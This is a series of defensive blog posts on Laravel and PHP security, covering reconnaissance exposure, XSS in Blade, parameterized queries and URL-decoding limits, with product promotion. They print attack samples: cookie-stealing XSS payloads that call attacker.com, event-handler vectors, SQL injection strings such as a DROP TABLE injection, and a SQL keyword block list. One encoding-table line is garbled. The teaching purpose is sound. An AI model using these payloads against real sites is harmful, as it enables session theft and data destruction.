DEV Community: Nchiminyi — Founder, Kriosa

How Attackers Enumerate Your Laravel App — And What to Hide Before They Map Your Entire Backend

Nchiminyi — Founder, Kriosa — Tue, 21 Jul 2026 19:00:00 +0000

Originally published on medium
Before an attacker exploits your app they study it. Here is what they are looking for and how to stop them finding it.

This is the sixth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked

Every article in this series follows the same principle: understand the attack before you try to stop it.

Reconnaissance is no different. And it is the step most developers never think about.

What Reconnaissance Actually Is

Before an attacker exploits your Laravel application they study it.

They are not guessing blindly. They are systematically collecting information that tells them what framework and version you are running, what routes exist, what errors your app produces, what files are publicly accessible, and where your admin panel lives.

This phase is called reconnaissance. And most Laravel apps make it embarrassingly easy.

The attacker does not need to find a vulnerability to do damage at this stage. They just need your app to answer questions it should never be answering.

What Attackers Are Looking For

1. Debug Mode Left On in Production

This is the single most dangerous information disclosure mistake in Laravel.

When APP_DEBUG=true in your production environment, Laravel shows a full stack trace on every error. That stack trace includes your full file system paths, your environment variables, your database connection details, your application code, and every variable in scope at the point of failure.

An attacker who triggers any error on your application a 404, a validation failure, a missing parameter gets a complete map of your server.

Check your production .env file right now:

APP_DEBUG=false
APP_ENV=production

These two lines are not optional. They are the minimum baseline for any Laravel app handling real user data.

2. Exposed .env Files

Your .env file contains your database credentials, API keys, mail server passwords, payment gateway secrets, and application encryption key. It lives in your project root.

If your web server is misconfigured, this file is publicly accessible:

https://yoursite.com/.env

An attacker who reads your .env file may gain access to database credentials, API keys, application secrets, and other sensitive configuration depending on what is stored there.

This is not theoretical. Automated scanners probe every Laravel site they find for exposed .env files within minutes of the site going live. It is one of the first checks they run automatically.

3. Exposed .git Directory

If you deployed by cloning a git repository and did not remove the .git directory from your web root:

https://yoursite.com/.git/config

An attacker may be able to reconstruct your source code from exposed Git objects. Your complete application logic. Your commit history. Every credential that was ever accidentally committed.

Tools like GitDumper automate this reconstruction entirely. What took a developer months to build can be downloaded in minutes.

4. Framework and Version Fingerprinting

Default Laravel error pages and responses can reveal framework information if they are not customized. HTTP response headers sometimes include framework and PHP version information. The structure of session cookies, route patterns, and form token names all point to Laravel specifically.

Default server responses often include:

X-Powered-By: PHP/8.1.0
Server: Apache/2.4.41

Once an attacker knows your framework and version they know exactly which known vulnerabilities to check, which default misconfigurations are most common, and which attack patterns are most likely to succeed.

Remove these headers. They are free reconnaissance for anyone watching.

5. Laravel Packages and Developer Tool Routes

Laravel packages and developer tools can expose routes that reveal application internals:

/telescope    — Laravel Telescope debugger
/horizon      — Laravel Horizon queue dashboard
/_debugbar    — Laravel Debugbar

If any of these are accessible in production without authentication, an attacker has a window into your queue jobs, database queries, cache operations, mail logs, and exception details.

These tools are invaluable for development. They are serious vulnerabilities in production if left unprotected.

6. Verbose Error Messages

Even with debug mode disabled, careless error handling reveals too much:

// This tells an attacker your table name exists
// and gives them information about your schema
catch (Exception $e) {
    echo "Error querying users table: " . $e->getMessage();
}

A developer who exposes database table names, column names, or file paths in error messages is doing reconnaissance for the attacker.

The correct approach:

catch (Exception $e) {
    // Log everything internally
    Log::error('Database error: ' . $e->getMessage(), [
        'file' => $e->getFile(),
        'line' => $e->getLine()
    ]);

    // Show nothing useful externally
    return response('Something went wrong. Please try again.', 500);
}

Log the full error internally. Show nothing externally. The user does not need to know what went wrong technically. The attacker definitely should not know.

7. Predictable Admin Routes

Automated scanners probe for common admin panel locations on every site they find:

/admin
/admin/login
/dashboard
/administrator
/panel
/backend
/manage
/cp

If your admin panel is at one of these locations with no rate limiting, no IP restriction, and no additional authentication layer, it is being probed constantly without you knowing.

8. Directory Listing

If your web server has directory listing enabled, an attacker can browse your file structure like a file manager:

https://yoursite.com/storage/
https://yoursite.com/public/uploads/

They see every file you have uploaded. Every log file. Every temporary file. Every backup your application has ever generated.

9. Backup Files Left in Public Directories

Developers sometimes create backup files that end up publicly accessible:

https://yoursite.com/index.php.bak
https://yoursite.com/config.php.old
https://yoursite.com/database.sql
https://yoursite.com/backup.zip

Automated scanners check for hundreds of these patterns on every site they probe. A database backup file left in a public directory is a complete data breach waiting to be discovered.

How Attackers Automate This

Reconnaissance is not done manually by a person sitting at a keyboard.

Automated tools scan millions of sites continuously:

Nikto scans for thousands of known vulnerabilities and misconfigurations
Gobuster brute forces directory and file names against wordlists of thousands of common paths
WhatWeb fingerprints web technologies from response headers and page content
GitDumper reconstructs source code from exposed Git objects automatically

These tools run against every IP address they can find. Your site is being scanned whether you know it or not. The question is not whether reconnaissance is happening it is whether your app is giving the scanners useful answers.

What to Hide — The Complete Checklist

Laravel configuration:

# .env — production settings
APP_ENV=production
APP_DEBUG=false

// config/app.php
'debug' => (bool) env('APP_DEBUG', false),

Restrict developer tool access:

Configure Telescope authorization and ensure the dashboard is restricted to trusted users or IP addresses:

// app/Providers/TelescopeServiceProvider.php
Gate::define('viewTelescope', function ($user) {
    return in_array(request()->ip(), [
        '127.0.0.1',
        // your trusted IP addresses
    ]);
});

Apply the same principle to Horizon and Debugbar both should require authentication or IP restriction before any production deployment.

Block sensitive files at the web server level:

For Nginx:

location ~ /\.(env|git|htaccess) {
    deny all;
    return 404;
}

location ~ \.(bak|old|sql|zip|tar|gz)$ {
    deny all;
    return 404;
}

For Apache:

<FilesMatch "\.(env|git|bak|old|sql|zip)$">
    Order allow,deny
    Deny from all
</FilesMatch>

Remove technology headers:

In php.ini:

expose_php = Off

For Nginx:

server_tokens off;

For Apache:

ServerTokens Prod
ServerSignature Off

Disable directory listing:

For Nginx:

autoindex off;

For Apache:

Options -Indexes

Custom error pages that reveal nothing:

// app/Exceptions/Handler.php
public function render($request, Throwable $exception)
{
    if (app()->environment('production')) {
        if ($this->isHttpException($exception)) {
            return response()->view(
                'errors.' . $exception->getStatusCode(),
                [],
                $exception->getStatusCode()
            );
        }
        return response()->view('errors.500', [], 500);
    }

    return parent::render($request, $exception);
}

Rate limit sensitive routes:

// routes/web.php
Route::middleware(['throttle:5,1'])->group(function () {
    Route::post('/login', [AuthController::class, 'login']);
    Route::post('/admin/login', [AdminController::class, 'login']);
});

5 attempts per minute. After that, Laravel applies throttling and returns a 429 response until the limit window resets.

The Deployment Checklist

Run this after every deployment:

APP_DEBUG=false confirmed in production
APP_ENV=production confirmed
.env file not accessible via browser
.git directory not in web root or blocked at server level
Telescope, Horizon, Debugbar behind authentication or IP restriction
Directory listing disabled
Technology headers removed
No backup or temporary files in public directories
Admin routes rate limited
Custom error pages returning generic messages

Where Kriosa Fits

Security configuration reduces your attack surface, but it does not stop attackers from trying. Every public application receives automated scanning sooner or later.

Reconnaissance generates distinctive traffic patterns that differ from normal user behavior.

Rapid sequential requests to non-existent paths. Requests for known sensitive file locations like .env, .git/config, and backup extensions. Requests with scanner user agent strings. Unusual probing patterns against admin route locations.

These patterns are exactly what Kriosa's ML engine detects flagging reconnaissance activity in your XAI dashboard before it turns into exploitation.

You cannot always prevent an attacker from probing your app. You can prevent your app from giving useful answers. And you can know the moment probing starts.

Configuration closes the information gaps. Kriosa watches for the probing behavior.

Both layers together.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php . Kriosa documentation

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: This article — how attackers enumerate your Laravel app and what to hide

XSS Prevention in Laravel — Why {!! !!} Is the Line Between Safe and Hacked

Nchiminyi — Founder, Kriosa — Fri, 17 Jul 2026 19:18:43 +0000

Originaly published on medium
One character difference in your Blade template. One open door for attackers.
This is the fifth article in a series on PHP and Laravel application security.

So far we have covered;

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
Every article in this series follows the same principle understand the attack before you try to stop it.

XSS is no different.

What XSS Actually Is

Cross-Site Scripting — XSS — is an attack where an attacker injects malicious JavaScript into a page that other users then see and execute in their browsers.

The name is misleading. It is not really about crossing sites. It is about injecting scripts into pages that other people visit.

Here is the simplest version

A website has a comment section. A user submits this as their comment.

<script>alert('hacked')</script>

If the website displays that comment without sanitizing it, every user who visits that page sees a popup. That is the mild demonstration version.

The dangerous version looks like this.

<script>
document.location='https://attacker.com/steal?cookie='+document.cookie
</script>

The attacker may steal session tokens, perform actions as the victim, or read sensitive page data depending on the application’s protections. If session cookies are not protected with attributes such as HttpOnly, Secure, and appropriate SameSite settings, an attacker may be able to hijack the user's session without knowing their password.

The Three Types of XSS

Understanding which type you are dealing with changes how you defend against it.

Reflected XSS

The malicious script comes from the current HTTP request usually a URL parameter.

https://yoursite.com/search?q=<script>alert('xss')</script>

If your page displays the query parameter directly without encoding.

echo "Search results for: " . $_GET['q'];

The script executes in the victim’s browser the moment they visit that URL. The attacker tricks a user into clicking a crafted link and the attack runs immediately.

Stored XSS

The malicious script is saved to the database and displayed to every user who visits the affected page. A comment. A username. A profile bio. A product review. Any field that is stored and later displayed is a potential stored XSS vector. This is the most dangerous type because it runs automatically for every visitor without requiring them to click anything.

DOM-based XSS

The vulnerable server-side code may never process the malicious payload because the vulnerability exists entirely in client-side JavaScript. It exploits JavaScript that reads from the URL and writes to the DOM without sanitization. This is the hardest type to detect server-side because it never reaches your PHP or Laravel code.

The Blade Templating Line That Matters

Laravel uses a templating engine called Blade. Blade gives you two ways to output variables in your HTML templates. The difference between them is the difference between a protected application and a vulnerable one.

The safe way double curly braces

{{ $comment }}

Blade automatically HTML-encodes everything inside {{ }}. So if $comment contains.

<script>alert('xss')</script>

Blade outputs it as.

&lt;script&gt;alert('xss')&lt;/script&gt;

The browser displays it as visible text. The script never executes. The attack fails silently.

The dangerous way raw output

{!! $comment !!}

This outputs the raw unescaped HTML exactly as stored. If $comment contains a script tag it executes. Exactly as the attacker intended.

A useful rule of thumb: whenever you type {!! !!}, pause and ask yourself where that data originated. If the answer is "a user", "a form", "the database", or "an external API", raw output should immediately raise suspicion. Most XSS vulnerabilities begin with trusting data that was never actually trustworthy.

That two-character difference — !! — is the line between safe and hacked.

What HTML Entity Encoding Actually Does

When Blade uses {{ }} it converts characters that have meaning in HTML into their safe entity equivalents.

<  →  &lt;
>  →  &gt;
"  →  &quot;
'  →  &#039;
&  →  &amp;

The browser renders these entities as the visible characters but never interprets them as HTML markup. So

&lt;script&gt;

displays as

 <script>

on screen but the browser never treats it as an actual executable script tag.

The characters are present. They just cannot do anything. This is why

{{ }}

is the safe default. The encoding happens automatically. You do not have to think about it as long as you use the correct syntax.

When

{!! !!}

Is Legitimately Needed

{!! !!}

is not always wrong. There are legitimate use cases but they require deliberate judgment.

Rendering HTML you generated yourself from trusted data

{!! $paginationLinks !!}

If your controller built this HTML from your own logic with no user input involved, outputting it raw is fine.

Rendering content from a trusted admin editor

A blog post written by a site administrator in a rich text editor needs raw HTML to display formatting correctly. The key word is trusted content you control, not content submitted by arbitrary users.

Rendering HTML that has already been properly sanitized

If you ran user-submitted content through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing it, outputting it raw can be acceptable. The sanitizer removed dangerous tags and attributes before the content reached your database.

The rule is simple:

{!! !!}

is only safe when you have complete control over the source of the data. The moment user input can influence what appears inside

{!! !!}

you have introduced an XSS vulnerability.

The Four Mistakes Laravel Developers Make

Mistake 1 — Using

{!! !!}

for convenience

A developer wants to display formatted text. They store HTML in the database and use

{!! !!}

to render it. They forget or never considered that the same field accepts input from users.

{{-- Developer thinks: "I need to display the formatted bio" --}}
{!! $user->bio !!}

{{-- Attacker submits bio containing: --}}
{{-- <script>document.location='https://attacker.com?c='+document.cookie</script> --}}

Every user who views that profile page is now at risk.

Mistake 2 — Trusting the database as a safety layer

“The data came from my database so it must be safe.”

Not if a user put it there. Stored XSS lives in the database. The database stores exactly what was submitted. It does not sanitize. It does not encode. It stores and retrieves.

Mistake 3 — Sanitizing on input but not encoding on output

Stripping script tags when the user submits is not reliable protection. Attackers use encoding, alternative event handlers, and HTML quirks to bypass input filters.

<img src=x onerror=alert('xss')>
<svg onload=alert('xss')>
<a href="javascript:alert('xss')">click me</a>

None of these contain the word script. A filter looking for

<script>

misses all of them.

Encoding on output is the reliable defense because it does not matter what the input contained everything gets rendered as text, not as HTML.

Mistake 4 — JavaScript contexts

This is the mistake even careful developers miss.

Blade’s

{{ }}

performs HTML escaping. Inside a JavaScript string, you need JavaScript-safe encoding instead. Using HTML escaping in a JavaScript context can still lead to broken scripts or injection vulnerabilities depending on how the value is used.

{{-- This is NOT safe in a JavaScript context --}}
<script>
var username = "{{ $username }}";
</script>

An attacker submits

a username like "; alert('xss'); "

and the rendered output becomes.

var username = ""; alert('xss'); "";

For JavaScript contexts

use Laravel’s Js::from()

directive instead.

<script>
const username = {{ Js::from($username) }};
</script>

Js::from() properly encodes the value for a JavaScript context. The two encoding requirements are different and require different solutions.

The Complete Safe Pattern in Laravel

Here is what correct output handling looks like across different contexts:

HTML context — always use

{{ }}

<p>{{ $comment }}</p>
<span>{{ $username }}</span>
<div>{{ $userBio }}</div>

JavaScript context always use Js::from();

<script>
const config = {{ Js::from($userConfig) }};
const name = {{ Js::from($username) }};
</script>

HTML attribute context {{ }} is safe.

<input type="text" value="{{ $userInput }}">

For URL attributes, be careful.

<a href="{{ $url }}">link</a>

Blade escapes HTML characters but does not validate URLs. If the URL is user-controlled, validate the scheme ensure it begins with

https://

rather than blindly trusting arbitrary input. A javascript: URL bypasses HTML encoding entirely.

When you must render HTML sanitize first

If you need to display user-submitted HTML, run it through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing or displaying it. Only use

{!! !!}

after proper sanitization.

Content Security Policy as an additional layer

Add a CSP header in your Laravel middleware to limit what scripts can execute even if an XSS payload gets through.

return $response->header(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'"
);

CSP should be treated as a defense-in-depth measure, not a replacement for proper output encoding. A strict CSP means even a successful XSS injection has limited ability to load external scripts or send data to attacker-controlled domains.

The XSS Prevention Checklist for Laravel

Always use {{ }} for user-generated content never {!! !!}

Only use {!! !!} for HTML you generated from trusted, controlled sources
If you must display user HTML run it through an HTML sanitizer first
For JavaScript contexts

use Js::from() not {{ }}

Validate and sanitize on input as an additional layer not as the primary defense
Validate URL schemes when outputting user-controlled URLs
Set a Content Security Policy header as a defense-in-depth measure
Never treat the database as a sanitization layer
Test your forms by

submitting <script>alert('xss')</script>

and checking what the page renders.
Where Detection Still Has a Role

Blade’s {{ }}

encoding prevents XSS at the output layer. But it does not protect against:

Legacy templates in inherited codebases still using

{!! !!} incorrectly

DOM-based XSS that never reaches your server
Third-party packages that render output unsafely
Developers on your team who

use {!! !!}

without understanding the implications
A security layer that monitors incoming requests and flags payloads containing script injection attempts gives you visibility into XSS attacks before they reach your templates. Not as the primary defense as the safety net that catches what your templates might miss.

Prevention first. Detection as the safety net. The same principle from every article in this series.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries the only real fix for SQL injection
Article 5: This article XSS prevention in Laravel and why {!! !!} is the line between safe and hacked.
The Direction Behind Kriosa

Kriosa’s hybrid system includes XSS detection flagging requests that contain script injection attempts, event handler injections, and JavaScript protocol abuse before they reach your Laravel application.

But as with every article in this series detection at the middleware layer does not replace prevention at the application layer.

{{ }} in Blade is the prevention.

Kriosa is the safety net.

The strongest defense is both layers working together.

Try it free: kriosa.com
Install it:

composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

Sleep better we’re awake — kriosa

Parameterized Queries - The Only Real Fix for SQL Injection and What Developers Get Wrong About Them

Nchiminyi — Founder, Kriosa — Tue, 14 Jul 2026 03:53:36 +0000

Originally publish on medium
Detection tells you something happened. Prevention stops it from mattering. Here is the prevention layer.
In the last three articles I wrote about detecting SQL injection attempts in PHP logs, why URL encoding blinds most pattern matching checks, and why unlimited URL decoding creates its own vulnerability. Every article ended with the same honest disclaimer.
"The real fix lives at the query layer, not the detection layer."
This is that article.

Why Detection Is Not Enough

Everything I have written so far the log analysis, the urldecode() fix, the capped decode loop is detection. It tells you a suspicious request arrived. It logs it. It flags it. In some cases it blocks it.
But detection has a ceiling.
A sufficiently sophisticated attacker who understands your detection layer can craft payloads that slip through. New encoding techniques. Fragmented payloads. Timing-based injection that never appears in a single suspicious request. Detection is valuable precisely because prevention is never perfect. But prevention should always come first.
For SQL injection, prevention has one name parameterized queries.

What SQL Injection Actually Is

Before explaining the fix, it helps to understand exactly what the attack exploits. SQL injection works because of one fundamental mistake treating user input as part of a SQL command.
Here is the vulnerable pattern.

$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = " . $id;
$result = $pdo->query($query);

When a legitimate user sends id=1, the query becomes.

SELECT * FROM users WHERE id = 1

Clean. Expected. Safe.
When an attacker sends id=1 OR 1=1, the query becomes.

SELECT * FROM users WHERE id = 1 OR 1=1

Which returns every row in the users table. Every single one.
The database cannot tell the difference between the developer's intended SQL and the attacker's injected SQL because they arrived as the same string. The input and the command are mixed together. That is the vulnerability.

What Parameterized Queries Actually Do

Parameterized queries also called prepared statements solve this by separating the SQL command from the user input completely.
Here is the same query written correctly.

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
$result = $stmt->fetchAll();

What happens here is fundamentally different from string concatenation.
The SQL command SELECT * FROM users WHERE id = ? is sent to the database first, as a complete instruction with a placeholder. The database parses it, understands its structure, and prepares to execute it.
Then the user input whatever $_GET['id'] contains is sent separately as data. The database treats it as a value to fill the placeholder, not as part of the SQL command itself.

So when an attacker sends 1 OR 1=1, the database receives it as a literal string value to compare against the id column not as SQL to execute. The injection attempt becomes meaningless. The query looks for a row where id equals the literal string "1 OR 1=1" finds nothing and returns an empty result. No data leaks. No error. No attack.

What Developers Get Wrong

Parameterized queries sound simple. In practice, developers make four common mistakes that leave them thinking they are protected when they are not.
Mistake 1 - Mixing parameterized queries with string concatenation

// This is NOT safe
$table = $_GET['table'];
$stmt = $pdo->prepare("SELECT * FROM " . $table . " WHERE id = ?");
$stmt->execute([$_GET['id']]);

The id parameter is protected. The table name is not. An attacker sends table=users; DROP TABLE users-- and the table name gets concatenated directly into the SQL command.
Parameterized queries protect values. They do not protect identifiers like table names and column names. Those must be validated against a whitelist separately.

Mistake 2 - Using emulated prepares without knowing it
PDO has two modes: real prepared statements and emulated prepared statements. Emulated prepares are the default in some configurations.

// Disable emulated prepares
$pdo = new PDO($dsn, $user, $pass);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

Native prepared statements are generally preferred because the database receives the SQL statement and parameters separately. Emulated prepares still protect against SQL injection in normal use, but native prepares avoid certain edge cases and more closely match the database's own parsing behavior.

Mistake 3 - Assuming Laravel's ORM makes every query safe
Laravel's Eloquent ORM uses parameterized queries by default. But raw query methods bypass this protection.

// Safe - Eloquent uses parameterized queries
User::where('id', $id)->first();

// NOT safe - raw query with string concatenation
DB::select("SELECT * FROM users WHERE id = " . $id);

// Safe - raw query with parameter binding
DB::select("SELECT * FROM users WHERE id = ?", [$id]);

Using an ORM does not automatically make every database query safe. Raw query methods require the same discipline as plain PDO.

Mistake 4 - Thinking input validation replaces parameterized queries
Some developers validate input checking that an id is numeric, for example and believe this makes string concatenation safe.

// This is still dangerous
if (is_numeric($_GET['id'])) {
    $query = "SELECT * FROM users WHERE id = " . $_GET['id'];
}

Input validation reduces the attack surface. It does not eliminate it. Edge cases in validation logic, type juggling in PHP, and unexpected input formats can all bypass validation in ways that would not bypass a parameterized query.

Parameterized queries and input validation are complementary. Validation rejects obviously bad input early. Parameterized queries make SQL injection through parameter values structurally impossible when used correctly. Use both.

The Complete Safe Pattern

Here is what correct SQL query handling looks like in PHP using PDO

// Establish connection with emulated prepares disabled
$pdo = new PDO(
    'mysql:host=localhost;dbname=myapp;charset=utf8mb4',
    $username,
    $password,
    [
        PDO::ATTR_EMULATE_PREPARES => false,
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
    ]
);

// Validate input type where appropriate
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if ($id === false || $id === null) {
    http_response_code(400);
    exit;
}

// Use parameterized query
$stmt = $pdo->prepare("SELECT id, username, email FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();

And in Laravel using Eloquent

// Safe - always use Eloquent methods or parameter binding
$user = User::find($id);

// Or with query builder binding
$user = DB::table('users')->where('id', '=', $id)->first();

// Never do this
$user = DB::select("SELECT * FROM users WHERE id = " . $id);

Where Detection Still Matters

Parameterized queries make SQL injection through parameter values structurally impossible when used correctly. But they do not protect against.

Queries written incorrectly by a developer who forgot to use them
Legacy code in a codebase you inherited
Third-party packages with their own database queries
Second-order injection where stored data is later used unsafely

This is why detection still has a role. Not as the primary defense as the safety net that catches what prevention misses.
A security layer that monitors incoming requests, flags suspicious patterns, and alerts you when injection attempts are arriving gives you visibility into attacks that might find a gap in your prevention layer. You fix the gap. The detection layer told you where to look.
Prevention first. Detection as the safety net. That combination is what genuine defense looks like.

The Series So Far

This is the fourth article in a series on PHP application security:
Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem why unlimited URL decoding can be its own vulnerability
Article 4: This article parameterized queries and what developers get wrong about them

Each one builds on the last. Detection, normalization, resource safety, prevention. The full picture of what it takes to defend a PHP application in production.

The Direction Behind Kriosa

One of the design principles behind Kriosa is that detection and prevention work together not as alternatives but as layers. The middleware layer monitors and flags. Your application layer prevents with parameterized queries and input validation. The XAI dashboard explains what the detection layer found so you can close gaps in the prevention layer faster.

Neither layer replaces the other. Together they cover what either would miss alone.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

Sleep better we're awake - kriosa

How do you handle URL decoding in PHP security checks without opening a decode bomb vulnerability? Looping urldecode() until stable fixes double encoding but risks excessive CPU on crafted payloads. How do you cap it safely?

Nchiminyi — Founder, Kriosa — Fri, 10 Jul 2026 07:59:49 +0000

The Decode Bomb Problem — Why Unlimited URL Decoding Can Be Its Own Vulnerability

Nchiminyi — Founder, Kriosa — Fri, 10 Jul 2026 07:57:25 +0000

Originally published on Medium
Fixing one security gap without understanding the side effects can open another one.
In my last article I wrote about URL encoding and why PHP security checks often miss encoded attack payloads. A developer read it and asked a question worth exploring carefully.

“If a single urldecode() gets beaten by double encoding, then looping the decode until it stops changing feels like the obvious next move — but doesn’t that open you up to a decode bomb where an attacker sends deeply nested encoding just to burn CPU?”

It is a valid concern worth exploring in depth.

What I Mean by a “Decode Bomb”

I am using the term decode bomb to describe a specific scenario: an attacker crafts a request with deeply nested URL encoding specifically to make your server perform excessive decoding work on every request.

It is similar in concept to a ZIP bomb where a small compressed file expands into something enormous but applied to URL decoding instead of file decompression. It is not a widely standardized security term, but the pattern it describes is real. Here is how it works in practice. If your code loops urldecode() until the string stops changing, an attacker can send a deeply nested encoded payload.

%25252525252527

Here is what happens on each pass:

Pass 1: %25252525252527  →  %252525252527
Pass 2: %252525252527    →  %2525252527
Pass 3: %2525252527      →  %25252527
Pass 4: %25252527        →  %252527
Pass 5: %252527          →  %2527
Pass 6: %2527            →  %27
Pass 7: %27              →  '

Seven passes to decode one character. Your server performs unnecessary decoding work on every request like this. In practice, the impact depends on your implementation. A single request is unlikely to cause problems, but repeated requests against code that performs excessive decoding can unnecessarily consume CPU time. You fixed the encoding blind spot. You potentially opened a resource issue in the same line of code.

Why This Is Easy to Miss

This is not the kind of vulnerability that shows up in standard penetration tests. It is the kind that gets discovered in production when someone notices their server is running slower than expected under unusual traffic patterns.

The attacker does not need to extract data. They do not need to bypass authentication. They just need your server to spend more time processing their requests than it spends serving legitimate users.

For a solo developer or small agency running client sites with limited server resources, sustained unusual traffic patterns like this can degrade performance noticeably.

The Safe Solution: Cap the Decode Passes

The fix requires a deliberate decision: choose a maximum number of decode passes and never exceed it.

$query = $_SERVER['QUERY_STRING'] ?? '';
$maxPasses = 3;
$i = 0;
$previous = null;

while ($previous !== $query && $i < $maxPasses) {
    $previous = $query;
    $query = urldecode($query);
    $i++;
}

$query = strtolower($query);

Three passes is a reasonable upper bound in many applications, but the right limit depends on your architecture, framework, and threat model. The loop also stops early if the string stops changing so a single-encoded payload only runs one pass, not three.

Single encoding is the most common attack evasion technique. Double encoding is the next layer. Beyond that, deeply nested encoding is in territory that your web server, reverse proxy, or PHP framework should already be handling upstream before the request reaches your application code.

An Important Note Before You Add This

Before adding custom decoding logic to your application, understand how your web server, reverse proxy, framework, and PHP itself already normalize incoming requests. Multiple layers of decoding can introduce both security and correctness issues.

If you are using Laravel, remember that request data is already normalized in various ways before your application uses it. Understand where URL decoding has already occurred before adding another decoding layer.

Understand your full request stack before adding normalization code.

Why Pattern Matching Has Limits
Even with capped URL decoding, pattern matching has a fundamental weakness: it only catches what you know to look for.

Attackers constantly develop new payloads specifically designed to bypass known patterns. They use alternative syntax. They use database-specific encoding. They use comments to break up keywords.

SE/*comment*/LECT * FR/*comment*/OM users

Your pattern matching looks for select. It never appears as a contiguous string. The check may pass. Whether the attack succeeds depends on how the application processes the input afterward.

This is the core limitation of signature-based detection: it catches known bad patterns. It misses unknown ones.

The Broader Lesson: Every Security Fix Has Side Effects

This is the part most security tutorials skip.

When you add a security control, you are not just closing one door. You are potentially opening another. The question to ask after every security fix is not just “does this stop the attack I was worried about?” It is “what does this enable that I was not worried about before?”

Unlimited URL decoding stops encoding-based evasion. It introduces resource exhaustion risk.

Capped URL decoding reduces most encoding-based evasion. It limits CPU exposure. It misses deeply nested encoding which upstream infrastructure should handle anyway.

Every security decision is a tradeoff. Understanding the tradeoff is what separates a developer who adds security theater from one who builds genuine defense.

Detection vs Prevention

Both of the articles I have written so far are about detection logging suspicious requests, normalizing input, identifying behavioral signals.

Detection is valuable. But it has a ceiling.

The real fix for SQL injection lives at the query layer, not the detection layer. Parameterized queries make SQL injection structurally impossible for that query no amount of encoding tricks around it.

Detection tells you something suspicious happened. Prevention stops it from mattering.

The strongest security posture uses both:

Prevention: parameterized queries, input validation, output encoding, proper authentication
Detection: normalized pattern matching, behavioral anomaly detection, response size monitoring, real-time alerting
Neither replaces the other. Prevention reduces your attack surface. Detection covers what prevention misses.

The Direction Behind Kriosa

One of the design principles behind Kriosa is controlled input normalization keeping normalization predictable, bounded, and combined with behavioral analysis instead of relying solely on repeated decoding.

The XAI dashboard then explains what was detected and why so you understand the attack pattern, not just that something was blocked.

That is the difference between a log filter and a security layer. One tells you something looked suspicious. The other tells you what it was, why it was flagged, and what the attacker was trying to accomplish.

Try it free: kriosa.com.

Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

Kriosa — Sleep better we’re awake.

Why URL Encoding Can Break PHP Security Checks — and What Actually Works

Nchiminyi — Founder, Kriosa — Wed, 08 Jul 2026 15:54:41 +0000

First published on medium
One overlooked detail in request inspection can leave your security checks blind to real attacks.
That comment made me realize this topic deserves its own article. Because the gap he found is not unique to my code. It is in many PHP security checks developers write themselves.
Here is the full picture.

What URL Encoding Is

When a browser or attacker sends data through a URL, certain characters cannot travel as-is. Characters like single quotes, spaces, and equals signs have special meaning in URLs they separate parameters, indicate values, structure the request.

So they get converted to a safe format before transmission. This conversion is called URL encoding or percent encoding.

The rules work like this:

'       →  %27
(space) →  %20' OR '1'='1
=       →  %3D
"       →  %22
/       →  %2F

So a SQL injection payload that looks like this in plain text:

' OR '1'='1

Arrives at your PHP server looking like this:

%27%20OR%20%271%27%3D%271

The same payload intent. A completely different representation. And many PHP security checks never see it coming.

Why Some Security Checks Fail

Here is the kind of security check many PHP developers write when they want basic protection:

$suspicious = ["'", "union", "select", "drop", "insert", "--", "/*"];
$query = strtolower($_SERVER['QUERY_STRING'] ?? '');

foreach ($suspicious as $pattern) {
    if (strpos($query, $pattern) !== false) {
        error_log("SUSPICIOUS REQUEST: " . $_SERVER['REMOTE_ADDR']);
    }
}

This looks reasonable. It checks for common SQL injection patterns and logs suspicious requests.

But look at what it is checking against: $_SERVER['QUERY_STRING'] the raw query string exactly as it arrived from the browser.

If the attacker sent %27%20OR%20%271%27%3D%271, that raw string contains none of the patterns you are checking for. No single quote. No OR. No equals sign. The check runs, finds nothing suspicious, and the request passes through.

The detection check misses the request. Your log may show nothing suspicious.

Important note: if you access input through $_GET rather than $_SERVER['QUERY_STRING'], PHP already decodes the values for you. This issue specifically affects developers inspecting raw request data directly.

Security reminder: this example is for demonstrating detection concepts. It is not a replacement for using parameterized queries and prepared statements. The real fix for SQL injection is preventing it at the database layer not filtering it at the input layer.

Normalizing Input Before Inspection

The solution is to decode the URL encoding before running your pattern matching. To avoid decode bomb attacks where deeply nested encoding burns CPU we cap the decode passes at a fixed number:

$suspicious = ["'", "union", "select", "drop", "insert", "--", "/*"];

// Cap decode passes to prevent decode bomb attacks
$query = $_SERVER['QUERY_STRING'] ?? '';
$maxPasses = 3;
$i = 0;
$previous = null;

while ($previous !== $query && $i < $maxPasses) {
    $previous = $query;
    $query = urldecode($query);
    $i++;
}

$query = strtolower($query);

